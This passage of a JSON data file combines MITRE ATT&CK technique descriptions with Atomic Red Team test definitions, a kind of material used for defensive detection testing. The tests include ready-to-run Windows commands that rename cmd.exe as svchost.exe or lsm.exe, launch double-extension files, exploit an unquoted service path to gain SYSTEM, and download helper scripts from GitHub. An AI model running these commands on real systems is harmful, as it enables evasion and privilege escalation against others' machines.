- "command": "copy #{inputfile} #{outputfile}\n$myT1036_003 = (Start-Process -PassThru -FilePath #{outputfile}).Id\nStop-Process -ID $myT1036_003\n",
- "cleanup_command": "Remove-Item #{outputfile} -Force -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Masquerading - windows exe running as different windows exe",
- "auto_generated_guid": "c3d24a39-2bfe-4c6a-b064-90cd73896cb0",
- "description": "Copies a windows exe, renames it as another windows exe, and launches it to masquerade as second windows exe\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "outputfile": {
- "description": "path of file to execute",
- "type": "path",
- "default": "($env:TEMP + \"\\svchost.exe\")"
- },
- "inputfile": {
- "description": "path of file to copy",
- "type": "path",
- "default": "$env:ComSpec"
- }
- },
- "executor": {
- "command": "copy #{inputfile} #{outputfile}\n$myT1036_003 = (Start-Process -PassThru -FilePath #{outputfile}).Id\nStop-Process -ID $myT1036_003\n",
- "cleanup_command": "Remove-Item #{outputfile} -Force -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Malicious process Masquerading as LSM.exe",
- "auto_generated_guid": "83810c46-f45e-4485-9ab6-8ed0e9e6ed7f",
- "description": "Detect LSM running from an incorrect directory and an incorrect service account\nThis works by copying cmd.exe to a file, naming it lsm.exe, then copying a file to the C:\\ folder.\n\nUpon successful execution, cmd.exe will be renamed as lsm.exe and executed from non-standard path.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "copy C:\\Windows\\System32\\cmd.exe C:\\lsm.exe\nC:\\lsm.exe /c echo T1036.003 > C:\\T1036.003.txt\n",
- "cleanup_command": "del C:\\T1036.003.txt >nul 2>&1\ndel C:\\lsm.exe >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "File Extension Masquerading",
- "auto_generated_guid": "c7fa0c3b-b57f-4cba-9118-863bf4e653fc",
- "description": "download and execute a file masquerading as images or Office files. Upon execution 3 calc instances and 3 vbs windows will be launched.\n\ne.g SOME_LEGIT_NAME.[doc,docx,xls,xlsx,pdf,rtf,png,jpg,etc.].[exe,vbs,js,ps1,etc] (Quartelyreport.docx.exe)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "exe_path": {
- "description": "path to exe to use when creating masquerading files",
- "type": "path",
- "default": "C:\\Windows\\System32\\calc.exe"
- },
- "vbs_path": {
- "description": "path of vbs to use when creating masquerading files",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1036.003\\src\\T1036.003_masquerading.vbs"
- },
- "ps1_path": {
- "description": "path of powershell script to use when creating masquerading files",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1036.003\\src\\T1036.003_masquerading.ps1"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "File to copy must exist on disk at specified location (#{vbs_path})\n",
- "prereq_command": "if (Test-Path #{vbs_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{vbs_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036.003/src/T1036.003_masquerading.vbs\" -OutFile \"#{vbs_path}\"\n"
- },
- {
- "description": "File to copy must exist on disk at specified location (#{ps1_path})\n",
- "prereq_command": "if (Test-Path #{ps1_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{ps1_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036.003/src/T1036.003_masquerading.ps1\" -OutFile \"#{ps1_path}\"\n"
- }
- ],
- "executor": {
- "command": "copy #{exe_path} %temp%\\T1036.003_masquerading.docx.exe /Y\ncopy #{exe_path} %temp%\\T1036.003_masquerading.pdf.exe /Y\ncopy #{exe_path} %temp%\\T1036.003_masquerading.ps1.exe /Y\ncopy #{vbs_path} %temp%\\T1036.003_masquerading.xls.vbs /Y\ncopy #{vbs_path} %temp%\\T1036.003_masquerading.xlsx.vbs /Y\ncopy #{vbs_path} %temp%\\T1036.003_masquerading.png.vbs /Y\ncopy #{ps1_path} %temp%\\T1036.003_masquerading.doc.ps1 /Y\ncopy #{ps1_path} %temp%\\T1036.003_masquerading.pdf.ps1 /Y\ncopy #{ps1_path} %temp%\\T1036.003_masquerading.rtf.ps1 /Y\n%temp%\\T1036.003_masquerading.docx.exe\n%temp%\\T1036.003_masquerading.pdf.exe\n%temp%\\T1036.003_masquerading.ps1.exe\n%temp%\\T1036.003_masquerading.xls.vbs\n%temp%\\T1036.003_masquerading.xlsx.vbs\n%temp%\\T1036.003_masquerading.png.vbs\nC:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -File %temp%\\T1036.003_masquerading.doc.ps1\nC:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -File %temp%\\T1036.003_masquerading.pdf.ps1\nC:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -File %temp%\\T1036.003_masquerading.rtf.ps1\n",
- "cleanup_command": "del /f %temp%\\T1036.003_masquerading.docx.exe > nul 2>&1\ndel /f %temp%\\T1036.003_masquerading.pdf.exe > nul 2>&1\ndel /f %temp%\\T1036.003_masquerading.ps1.exe > nul 2>&1\ndel /f %temp%\\T1036.003_masquerading.xls.vbs > nul 2>&1\ndel /f %temp%\\T1036.003_masquerading.xlsx.vbs > nul 2>&1\ndel /f %temp%\\T1036.003_masquerading.png.vbs > nul 2>&1\ndel /f %temp%\\T1036.003_masquerading.doc.ps1 > nul 2>&1\ndel /f %temp%\\T1036.003_masquerading.pdf.ps1 > nul 2>&1\ndel /f %temp%\\T1036.003_masquerading.rtf.ps1 > nul 2>&1\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1574.009": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Stefan Kanthak"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b",
- "type": "attack-pattern",
- "created": "2020-03-13T13:51:58.519Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.009",
- "url": "https://attack.mitre.org/techniques/T1574/009"
- },
- {
- "external_id": "CAPEC-38",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/38.html"
- },
- {
- "source_name": "Microsoft CurrentControlSet Services",
- "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree",
- "description": "Microsoft. (2017, April 20). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved March 16, 2020."
- },
- {
- "source_name": "Help eliminate unquoted path",
- "url": "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464",
- "description": "Mark Baggett. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved November 8, 2012."
- },
- {
- "source_name": "Windows Unquoted Services",
- "url": "https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/",
- "description": "HackHappy. (2018, April 23). Windows Privilege Escalation \u2013 Unquoted Services. Retrieved August 10, 2018."
- },
- {
- "source_name": "Windows Privilege Escalation Guide",
- "url": "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/",
- "description": "absolomb. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018."
- }
- ],
- "modified": "2020-09-17T19:05:23.755Z",
- "name": "Hijack Execution Flow: Path Interception by Unquoted Path",
- "description": "Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n\nService paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe
vs. \"C:\\safe path with space\\program.exe\"
). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe
, an adversary may create a program at C:\\program.exe
that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)\n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Creation",
- "Process: Process Creation",
- "File: File Modification"
- ],
- "identifier": "T1574.009"
- },
- "atomic_tests": [
- {
- "name": "Execution of program.exe as service with unquoted service path",
- "auto_generated_guid": "2770dea7-c50f-457b-84c4-c40a47460d9f",
- "description": "When a service is created whose executable path contains spaces and isn\u2019t enclosed within quotes, leads to a vulnerability\nknown as Unquoted Service Path which allows a user to gain SYSTEM privileges.\nIn this case, if an executable program.exe in C:\\ exists, C:\\program.exe will be executed instead of test.exe in C:\\Program Files\\subfolder\\test.exe.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "service_executable": {
- "description": "Path of the executable used for the service and as the hijacked program.exe",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1574.009\\bin\\WindowsServiceExample.exe"
- }
- },
- "executor": {
- "command": "copy #{service_executable} \"C:\\Program Files\\windows_service.exe\"\ncopy #{service_executable} \"C:\\program.exe\"\nsc create \"Example Service\" binpath= \"C:\\Program Files\\windows_service.exe\" Displayname= \"Example Service\" start= auto\nsc start \"Example Service\"\n",
- "cleanup_command": "sc stop \"Example Service\" >nul 2>&1\nsc delete \"Example Service\" >nul 2>&1\ndel \"C:\\Program Files\\windows_service.exe\" >nul 2>&1\ndel \"C:\\program.exe\" >nul 2>&1\ndel \"C:\\Time.log\" >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1186": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c1a452f3-6499-4c12-b7e9-a6a0a102af76",
- "type": "attack-pattern",
- "created": "2018-01-16T16:13:52.465Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1186",
- "url": "https://attack.mitre.org/techniques/T1186"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx",
- "description": "Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.",
- "source_name": "Microsoft TxF"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx",
- "description": "Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.",
- "source_name": "Microsoft Basic TxF Concepts"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx",
- "description": "Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.",
- "source_name": "Microsoft Where to use TxF"
- },
- {
- "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf",
- "description": "Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelg\u00e4nging. Retrieved December 20, 2017.",
- "source_name": "BlackHat Process Doppelg\u00e4nging Dec 2017"
- },
- {
- "url": "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/",
- "description": "hasherezade. (2017, December 18). Process Doppelg\u00e4nging \u2013 a new way to impersonate a process. Retrieved December 20, 2017.",
- "source_name": "hasherezade Process Doppelg\u00e4nging Dec 2017"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx",
- "description": "Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.",
- "source_name": "Microsoft PsSetCreateProcessNotifyRoutine routine"
- }
- ],
- "modified": "2020-01-14T17:23:25.111Z",
- "name": "Process Doppelg\u00e4nging",
- "description": "Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may leverage TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055) called Process Doppelg\u00e4nging. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), Process Doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor and analyze calls to CreateTransaction, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelg\u00e4nging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nScan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Process whitelisting",
- "Anti-virus",
- "Whitelisting by file name or path",
- "Signature-based detection"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM",
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1027.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916",
- "type": "attack-pattern",
- "created": "2020-02-05T14:28:16.719Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1027.003",
- "url": "https://attack.mitre.org/techniques/T1027/003"
- },
- {
- "external_id": "CAPEC-636",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/636.html"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Duqu",
- "description": "Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018.",
- "source_name": "Wikipedia Duqu"
- },
- {
- "url": "https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/",
- "description": "Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious Document Targets Pyeongchang Olympics. Retrieved April 10, 2018.",
- "source_name": "McAfee Malicious Doc Targets Pyeongchang Olympics"
- }
- ],
- "modified": "2021-10-15T16:46:56.760Z",
- "name": "Steganography",
- "description": "Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.\n\n[Duqu](https://attack.mitre.org/software/S0038) was an early example of malware that used steganography. It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu) \n\nBy the end of 2017, a threat group used\u202fInvoke-PSImage
\u202fto hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system. In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics) ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Detection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings or other signatures left in system artifacts related to decoding steganography.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Metadata"
- ]
- },
- "atomic_tests": []
- },
- "T1550.004": {
- "technique": {
- "x_mitre_platforms": [
- "Office 365",
- "SaaS",
- "Google Workspace",
- "IaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jen Burns, HubSpot",
- "Johann Rehberger"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0",
- "type": "attack-pattern",
- "created": "2020-01-30T17:48:49.395Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1550.004",
- "url": "https://attack.mitre.org/techniques/T1550/004"
- },
- {
- "external_id": "CAPEC-60",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/60.html"
- },
- {
- "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
- "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html",
- "source_name": "Pass The Cookie"
- },
- {
- "source_name": "Unit 42 Mac Crypto Cookies January 2019",
- "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
- "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019."
- }
- ],
- "modified": "2021-10-12T14:22:09.650Z",
- "name": "Web Session Cookie",
- "description": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Monitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.3",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Web Credential: Web Credential Usage",
- "Application Log: Application Log Content"
- ],
- "x_mitre_defense_bypassed": [
- "System Access Controls"
- ]
- },
- "atomic_tests": []
- },
- "T1078.002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jon Sternstein, Stern Security"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f",
- "created": "2020-03-13T20:21:54.758Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1078.002",
- "url": "https://attack.mitre.org/techniques/T1078/002"
- },
- {
- "source_name": "TechNet Credential Theft",
- "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx",
- "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016."
- },
- {
- "source_name": "TechNet Audit Policy",
- "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx",
- "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016."
- },
- {
- "source_name": "Microsoft AD Accounts",
- "url": "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts",
- "description": "Microsoft. (2019, August 23). Active Directory Accounts. Retrieved March 13, 2020."
- },
- {
- "source_name": "Ubuntu SSSD Docs",
- "url": "https://ubuntu.com/server/docs/service-sssd",
- "description": "Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/560.html",
- "source_name": "capec",
- "external_id": "CAPEC-560"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.",
- "modified": "2022-04-19T20:14:34.479Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Domain Accounts",
- "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nOn Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) \n\nPerform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Logon Session: Logon Session Creation",
- "User Account: User Account Authentication",
- "Logon Session: Logon Session Metadata"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1218.009": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Casey Smith"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8",
- "type": "attack-pattern",
- "created": "2020-01-23T19:42:16.439Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1218.009",
- "url": "https://attack.mitre.org/techniques/T1218/009"
- },
- {
- "source_name": "MSDN Regsvcs",
- "description": "Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.",
- "url": "https://msdn.microsoft.com/en-us/library/04za0hca.aspx"
- },
- {
- "source_name": "MSDN Regasm",
- "description": "Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.",
- "url": "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx"
- },
- {
- "source_name": "LOLBAS Regsvcs",
- "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/",
- "description": "LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019."
- },
- {
- "source_name": "LOLBAS Regasm",
- "url": "https://lolbas-project.github.io/lolbas/Binaries/Regasm/",
- "description": "LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019."
- }
- ],
- "modified": "2022-03-11T18:55:48.725Z",
- "name": "Signed Binary Proxy Execution: Regsvcs/Regasm",
- "description": "Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nBoth utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction]
or [ComUnregisterFunction]
respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation"
- ],
- "x_mitre_defense_bypassed": [
- "Digital Certificate Validation",
- "Application control"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "identifier": "T1218.009"
- },
- "atomic_tests": [
- {
- "name": "Regasm Uninstall Method Call Test",
- "auto_generated_guid": "71bfbfac-60b1-4fc0-ac8b-2cedbbdcb112",
- "description": "Executes the Uninstall Method, No Admin Rights Required. Upon execution, \"I shouldn't really execute either.\" will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "output_file": {
- "description": "Location of the payload",
- "type": "path",
- "default": "%tmp%\\T1218.009.dll"
- },
- "source_file": {
- "description": "Location of the CSharp source_file",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218.009\\src\\T1218.009.cs"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "The CSharp source file must exist on disk at specified location (#{source_file})\n",
- "prereq_command": "if (Test-Path #{source_file}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{source_file}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.009/src/T1218.009.cs\" -OutFile \"#{source_file}\"\n"
- }
